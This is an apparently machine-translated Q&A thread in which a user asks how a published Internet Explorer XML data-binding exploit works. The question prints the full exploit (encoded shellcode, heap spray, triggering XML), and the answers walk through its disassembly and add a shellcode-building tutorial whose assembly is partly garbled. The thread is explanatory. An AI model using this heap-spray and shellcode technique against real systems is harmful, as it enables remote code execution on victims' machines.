Помогите мне понять этот эксплойт JavaScript
у меня обычно нет трудностей с чтением сценария JavaScript, но этот я не могу понять логику. Код от эксплойта, который был опубликован 4 дня назад. Вы можете найти его в milw0rm.
вот код:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
вот что я считаю, что он делает, и я хотел бы, чтобы вы помогли мне в той части, которую я неправильно понял.
переменная shellcode
содержит код для открытия calc.исполняемый. Я не понимаю, как они нашли эта странная струна... есть идеи?
второе-переменная spray
. Я не понимаю эту странную петлю?
третье-переменная memory
это никогда не используется нигде, почему они его создают?
последнее, что делает XML-тег на странице?
обновление
ладно, на данный момент у меня есть хорошие ответы, но в основном очень
генеральный. Я хотел бы получить больше объяснений ценности
код. Пример unescape("%u0a0a%u0a0a");
. Что это значит?
То же самое для цикла, почему разработчик написал:
length < 0xd0000
? Я бы хотел более глубокого понимания, а не
только теория этого кода.
9 ответов
shellcode содержит некоторые инструкции по сборке x86, которые будут выполнять фактический эксплойт. spray
создает длинную последовательность инструкций, которые будут поставлены в memory
. Поскольку мы обычно не можем узнать точное местоположение нашего shellcode в памяти, мы помещаем много nop
инструкции и перейти к где-то там. The memory
массив будет содержать фактический код x86 вместе с механизмом перехода. Мы будем кормить созданный XML в библиотеку, которая имеет ошибку. Когда он анализируется, ошибка приведет к тому, что регистр указателя инструкции будет назначен где-то в нашем эксплойте, что приведет к выполнению произвольного кода.
чтобы понять более глубоко, вы должны на самом деле выяснить, что находится в коде x86. unscape
будет использоваться для размещения последовательности байтов, представленных в строке spray
переменной. Это действительный код x86, который заполняет большой кусок кучи и переходит к началу shellcode. Причиной условия окончания является ограничение длины строки скриптового движка. У вас не может быть строк больше определенной длины.
в сборке x86,0a0a
представляет or cl, [edx]
. Это фактически эквивалентно nop
инструкция для целей нашего эксплуатировать. Куда бы мы ни прыгнули в spray
, мы перейдем к следующей инструкции, пока не достигнем кода оболочки, который мы действительно хотим выполнить.
если вы посмотрите на XML, вы увидите 0x0a0a
это тоже есть. Точное описание того, что происходит, требует конкретное знание эксплойта (вы должны знать, где ошибка и как она используется, чего я не знаю). Тем не менее, кажется, что мы заставляем Internet Explorer запускать багги-код, установив innerHtml
к этой вредоносной XML-строке. Internet Explorer пытается разобрать его, и багги-код каким-то образом дает контроль над местоположением памяти, где существует массив (так как это большой кусок, вероятность прыжка там высока). Когда мы прыгаем туда, CPU будет продолжать выполнять or cl, [edx]
инструкции до тех пор, пока не достигнет начала shellcode, который помещен в память.
я разобрал shellcode:
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
понимание этого шеллкода требует знаний сборки x86 и проблемы в самой библиотеке MS (чтобы знать, что такое состояние системы, когда мы достигаем здесь), а не JavaScript! Этот код, в свою очередь, выполнит calc.exe
.
Это похоже на эксплойт недавняя ошибка Internet Explorer что Microsoft выпустила экстренный патч для. Он использует недостаток в функции привязки данных XML-обработчика Microsoft, что приводит к неправильному освобождению памяти кучи.
Shellcode-это машинный код, который будет выполняться при возникновении ошибки. Спрей и память-это просто некоторое пространство, выделенное в куче, чтобы помочь произойти эксплуатируемому состоянию.
распыление кучи-обычный способ использовать материал браузера, Если вы в нем, вы можете найти несколько таких сообщений:http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
всякий раз, когда я вижу память, которая не рассматривается в обсуждении эксплойта, моя первая мысль заключается в том, что эксплойт-это своего рода переполнение буфера, и в этом случае память либо вызывает переполнение буфера, либо обращается к нему после переполнения буфера.
Это из metasploit, это означает, что он использует один из кодов оболочки metasploit. Это с открытым исходным кодом, так что вы можете пойти и захватить его:http://www.metasploit.com/
для получения дополнительной информации о самой уязвимости я бы предложил прочитать MS08-078 и SDL.
посмотреть кодировки символов в HTML.
Это двоичные данные, закодированные как строка, которую декодирует JavaScript.
общий вид межсайтовый скриптинг также.
вы можете увидеть все трюки кодирования здесь:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
простой пример shellcode
Hello world в сборке AT & T синтаксис x86 я считаю (мастер в обучении).
настроить файл:vim shellcodeExample.s
.text #required
.goblal _start #required
_start: #main function
jmp one #jump to the section labeled one:
two:
pop %rcx #pop %rcx off the stack, or something
xor %rax, %rax #Clear
movl 4, %rax #use sys_write(printf || std::cout)
xor %rbx, %rbx #Clear
inc %rbx #increment %rbx to 1 stdout(terminal)
xor %rdx, %rdx #Clear Registers or something
movb , %dl #String Size
int x80
one:
call two #jump up to section two:
.ascii "Hello World\r\n" #make the string one of the starting memory
#^-addresses
компилировать так:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
теперь у вас есть двоичный файл, который печатает hello world.
для преобразования двоичного кода в код оболочки введите:objdump -D shellcode
вы получите на выходе:
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <.text>:
400078: eb 1a jmp 0x400094
40007a: 59 pop %rcx
40007b: 48 31 c0 xor %rax,%rax
40007e: b0 04 mov x4,%al
400080: 48 31 db xor %rbx,%rbx
400083: 48 ff c3 inc %rbx
400086: 48 31 d2 xor %rdx,%rdx
400089: b2 0d mov xd,%dl
40008b: cd 80 int x80
40008d: b0 01 mov x1,%al
40008f: 48 ff cb dec %rbx
400092: cd 80 int x80
400094: e8 e1 ff ff ff callq 0x40007a
400099: 68 65 6c 6c 6f pushq x6f6c6c65
40009e: 20 77 6f and %dh,0x6f(%rdi)
4000a1: 72 6c jb 0x40010f
4000a3: 64 fs
4000a4: 0d .byte 0xd
4000a5: 0a .byte 0xa
теперь, если вы посмотрите на 4-ю строку с текстом вы увидите: 400078: eb 1a jmp 0x400094
часть, которая говорит eb 1a
является шестнадцатеричным представлением инструкции по сборке jmp one
где " one " - это адрес памяти вашей строки.
чтобы подготовить ваш shellcode для выполнения откройте другой текстовый файл и сохраните шестнадцатеричные значения в массиве символов. Чтобы правильно отформатировать код оболочки, введите \x
перед каждым шестнадцатеричным значением.
предстоящий пример шелл-код будет выглядеть следующим образом в соответствии с objdump вывод команды:
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
в этом примере используется C для выбора. Теперь у вас есть рабочий shellcode, который будет писать в stdout "hello world"
вы можете проверить код оболочки, поместив его в уязвимость, или вы можете написать следующую программу на языке c, чтобы проверить его:
vim execShellcode.cc; //linux command to create c file.
/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
int main(){
((void(*)(void))PAYLOAD)();
return 0;
}
для компиляции программы введите:
gcc -fno-stack-protector -z execstack execShellcode.cc -o run
запустить с ./run
Вы знаете, есть рабочий пример простой разработки shellcode, который был протестирован в linux mint / debian.